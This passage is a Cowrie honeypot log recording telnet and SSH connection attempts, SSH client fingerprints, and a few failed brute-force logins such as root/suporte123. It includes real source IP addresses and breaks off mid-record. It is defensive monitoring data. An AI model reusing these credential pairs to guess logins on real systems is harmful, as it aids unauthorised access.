{"eventid":"cowrie.session.closed","duration":30.91099190711975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:14.554463Z","src_ip":"103.233.1.130","session":"7f86ca743673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41980,"dst_ip":"159.203.135.109","dst_port":23,"session":"8811aa37609e","protocol":"telnet","message":"New connection: 103.233.1.130:41980 (159.203.135.109:23) [session: 8811aa37609e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:14.952078Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41982,"dst_ip":"159.203.135.109","dst_port":23,"session":"a94f29011a0f","protocol":"telnet","message":"New connection: 103.233.1.130:41982 (159.203.135.109:23) [session: a94f29011a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:15.075160Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41994,"dst_ip":"159.203.135.109","dst_port":23,"session":"6059c40d0ed6","protocol":"telnet","message":"New connection: 103.233.1.130:41994 (159.203.135.109:23) [session: 6059c40d0ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:15.252149Z"}
{"eventid":"cowrie.session.closed","duration":30.831252336502075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:16.336785Z","src_ip":"103.233.1.130","session":"986ba26e6d9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":42000,"dst_ip":"159.203.135.109","dst_port":23,"session":"2642163ec3ab","protocol":"telnet","message":"New connection: 103.233.1.130:42000 (159.203.135.109:23) [session: 2642163ec3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:17.689519Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":42016,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0edbf682b7b","protocol":"telnet","message":"New connection: 103.233.1.130:42016 (159.203.135.109:23) [session: d0edbf682b7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:17.963960Z"}
{"eventid":"cowrie.session.closed","duration":31.27037763595581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:18.199357Z","src_ip":"103.233.1.130","session":"ba4fcebdc3cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":42032,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9e7b4dae430","protocol":"telnet","message":"New connection: 103.233.1.130:42032 (159.203.135.109:23) [session: a9e7b4dae430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:18.694026Z"}
{"eventid":"cowrie.session.closed","duration":31.06599235534668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:19.429216Z","src_ip":"103.233.1.130","session":"1ae6a5707ca4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903217792510986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:19.767725Z","src_ip":"103.233.1.130","session":"d48ffc2a5d30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":42036,"dst_ip":"159.203.135.109","dst_port":23,"session":"01d0985962cd","protocol":"telnet","message":"New connection: 103.233.1.130:42036 (159.203.135.109:23) [session: 01d0985962cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:20.224320Z"}
{"eventid":"cowrie.session.closed","duration":31.474247455596924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:21.830194Z","src_ip":"103.233.1.130","session":"b33db3e230be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":42050,"dst_ip":"159.203.135.109","dst_port":23,"session":"440e9f18c74f","protocol":"telnet","message":"New connection: 103.233.1.130:42050 (159.203.135.109:23) [session: 440e9f18c74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:22.314620Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":42066,"dst_ip":"159.203.135.109","dst_port":23,"session":"a980706faf0a","protocol":"telnet","message":"New connection: 103.233.1.130:42066 (159.203.135.109:23) [session: a980706faf0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:22.595323Z"}
{"eventid":"cowrie.session.closed","duration":30.91446828842163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:23.147975Z","src_ip":"103.233.1.130","session":"81b6e5c42f10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52030,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f7c20353aa6","protocol":"telnet","message":"New connection: 103.233.1.130:52030 (159.203.135.109:23) [session: 9f7c20353aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:24.169820Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52042,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9d47559a2d9","protocol":"telnet","message":"New connection: 103.233.1.130:52042 (159.203.135.109:23) [session: b9d47559a2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:24.356057Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52048,"dst_ip":"159.203.135.109","dst_port":23,"session":"16bbd30e563a","protocol":"telnet","message":"New connection: 103.233.1.130:52048 (159.203.135.109:23) [session: 16bbd30e563a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:24.847353Z"}
{"eventid":"cowrie.session.closed","duration":30.91979193687439,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:25.178679Z","src_ip":"103.233.1.130","session":"6fdb5a5336a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52054,"dst_ip":"159.203.135.109","dst_port":23,"session":"d86d20200bbd","protocol":"telnet","message":"New connection: 103.233.1.130:52054 (159.203.135.109:23) [session: d86d20200bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:25.874965Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52058,"dst_ip":"159.203.135.109","dst_port":23,"session":"efb04d70381e","protocol":"telnet","message":"New connection: 103.233.1.130:52058 (159.203.135.109:23) [session: efb04d70381e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:25.941798Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52064,"dst_ip":"159.203.135.109","dst_port":23,"session":"95beb4456ae2","protocol":"telnet","message":"New connection: 103.233.1.130:52064 (159.203.135.109:23) [session: 95beb4456ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:27.581551Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52066,"dst_ip":"159.203.135.109","dst_port":23,"session":"e12527182dc2","protocol":"telnet","message":"New connection: 103.233.1.130:52066 (159.203.135.109:23) [session: e12527182dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:28.250053Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52070,"dst_ip":"159.203.135.109","dst_port":23,"session":"84b205ab2823","protocol":"telnet","message":"New connection: 103.233.1.130:52070 (159.203.135.109:23) [session: 84b205ab2823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:28.282597Z"}
{"eventid":"cowrie.session.closed","duration":31.466499090194702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:28.544540Z","src_ip":"103.233.1.130","session":"f64c710e8b8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52080,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7d225d7670f","protocol":"telnet","message":"New connection: 103.233.1.130:52080 (159.203.135.109:23) [session: c7d225d7670f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:28.968052Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52086,"dst_ip":"159.203.135.109","dst_port":23,"session":"2afdb4b4d1f7","protocol":"telnet","message":"New connection: 103.233.1.130:52086 (159.203.135.109:23) [session: 2afdb4b4d1f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:29.627077Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52092,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e42441b7128","protocol":"telnet","message":"New connection: 103.233.1.130:52092 (159.203.135.109:23) [session: 5e42441b7128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:29.789705Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56030,"dst_ip":"159.203.135.109","dst_port":22,"session":"4045eedbccf5","protocol":"ssh","message":"New connection: 159.203.92.129:56030 (159.203.135.109:22) [session: 4045eedbccf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:29.850394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:29.854978Z","src_ip":"159.203.92.129","session":"4045eedbccf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:29.859200Z","src_ip":"159.203.92.129","session":"4045eedbccf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"1234567890","message":"login attempt [app/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:29.870850Z","src_ip":"159.203.92.129","session":"4045eedbccf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52106,"dst_ip":"159.203.135.109","dst_port":23,"session":"e558a271c216","protocol":"telnet","message":"New connection: 103.233.1.130:52106 (159.203.135.109:23) [session: e558a271c216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:29.917651Z"}
{"eventid":"cowrie.session.closed","duration":31.08454394340515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:30.241876Z","src_ip":"103.233.1.130","session":"5cab4e10fc0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.608003616333008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:30.360133Z","src_ip":"103.233.1.130","session":"be64dc64b9aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.032334089279175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:30.459249Z","src_ip":"103.233.1.130","session":"3f534c130cc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52122,"dst_ip":"159.203.135.109","dst_port":23,"session":"451fa31560c4","protocol":"telnet","message":"New connection: 103.233.1.130:52122 (159.203.135.109:23) [session: 451fa31560c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:30.498154Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:30.876394Z","src_ip":"159.203.92.129","session":"4045eedbccf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.722343921661377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:31.329878Z","src_ip":"103.233.1.130","session":"cf8b1d203086","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52124,"dst_ip":"159.203.135.109","dst_port":23,"session":"24c92b700c7c","protocol":"telnet","message":"New connection: 103.233.1.130:52124 (159.203.135.109:23) [session: 24c92b700c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:31.535993Z"}
{"eventid":"cowrie.session.closed","duration":31.09640336036682,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:32.415856Z","src_ip":"103.233.1.130","session":"edf54f8d1283","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.726110219955444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:32.452092Z","src_ip":"103.233.1.130","session":"721fefdf5212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":52130,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed683c24a755","protocol":"telnet","message":"New connection: 103.233.1.130:52130 (159.203.135.109:23) [session: ed683c24a755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:33.913271Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":21633,"dst_ip":"10.17.0.5","dst_port":22,"session":"5219fb2caddd","protocol":"ssh","message":"New connection: 182.253.79.194:21633 (10.17.0.5:22) [session: 5219fb2caddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:34.715727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:34.721026Z","src_ip":"182.253.79.194","session":"5219fb2caddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:34.988882Z","src_ip":"182.253.79.194","session":"5219fb2caddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":33212,"dst_ip":"159.203.135.109","dst_port":23,"session":"f421d874f777","protocol":"telnet","message":"New connection: 103.233.1.130:33212 (159.203.135.109:23) [session: f421d874f777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:35.615018Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"suporte123","message":"login attempt [root/suporte123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:36.091601Z","src_ip":"182.253.79.194","session":"5219fb2caddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":33220,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5b5ebdd7227","protocol":"telnet","message":"New connection: 103.233.1.130:33220 (159.203.135.109:23) [session: e5b5ebdd7227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:36.270029Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":33234,"dst_ip":"159.203.135.109","dst_port":23,"session":"29d817bd7555","protocol":"telnet","message":"New connection: 103.233.1.130:33234 (159.203.135.109:23) [session: 29d817bd7555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:36.661345Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.33.212","src_port":58828,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c7ba9bee521","protocol":"telnet","message":"New connection: 157.49.33.212:58828 (159.203.135.109:23) [session: 8c7ba9bee521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:36.767565Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:37.361972Z","src_ip":"182.253.79.194","session":"5219fb2caddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8680157661438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:37.496581Z","src_ip":"103.233.1.130","session":"e2d05dddb179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":33244,"dst_ip":"159.203.135.109","dst_port":23,"session":"537c2673e777","protocol":"telnet","message":"New connection: 103.233.1.130:33244 (159.203.135.109:23) [session: 537c2673e777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:37.709404Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":33260,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf4dbc5feecc","protocol":"telnet","message":"New connection: 103.233.1.130:33260 (159.203.135.109:23) [session: bf4dbc5feecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:38.165531Z"}
{"eventid":"cowrie.session.closed","duration":30.921388387680054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:38.170089Z","src_ip":"103.233.1.130","session":"22da11ea134b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":33270,"dst_ip":"159.203.135.109","dst_port":23,"session":"7daf0d875990","protocol":"telnet","message":"New connection: 103.233.1.130:33270 (159.203.135.109:23) [session: 7daf0d875990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:38.233185Z"}
{"eventid":"cowrie.session.closed","duration":30.41796636581421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:38.281087Z","src_ip":"103.233.1.130","session":"4e956c75d56d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":33286,"dst_ip":"159.203.135.109","dst_port":23,"session":"cecd723a92e9","protocol":"telnet","message":"New connection: 103.233.1.130:33286 (159.203.135.109:23) [session: cecd723a92e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:41.290695Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":52654,"dst_ip":"159.203.135.109","dst_port":22,"session":"c998e6b464fe","protocol":"ssh","message":"New connection: 122.168.114.167:52654 (159.203.135.109:22) [session: c998e6b464fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:41.716110Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":33298,"dst_ip":"159.203.135.109","dst_port":23,"session":"54c19ad8fe2c","protocol":"telnet","message":"New connection: 103.233.1.130:33298 (159.203.135.109:23) [session: 54c19ad8fe2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:41.915665Z"}
{"eventid":"cowrie.session.closed","duration":31.466423273086548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:42.836229Z","src_ip":"103.233.1.130","session":"34b54bb3cbad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96331286430359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:43.544770Z","src_ip":"103.233.1.130","session":"6771fcd3028a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:53:43.783944Z","src_ip":"122.168.114.167","session":"c998e6b464fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hm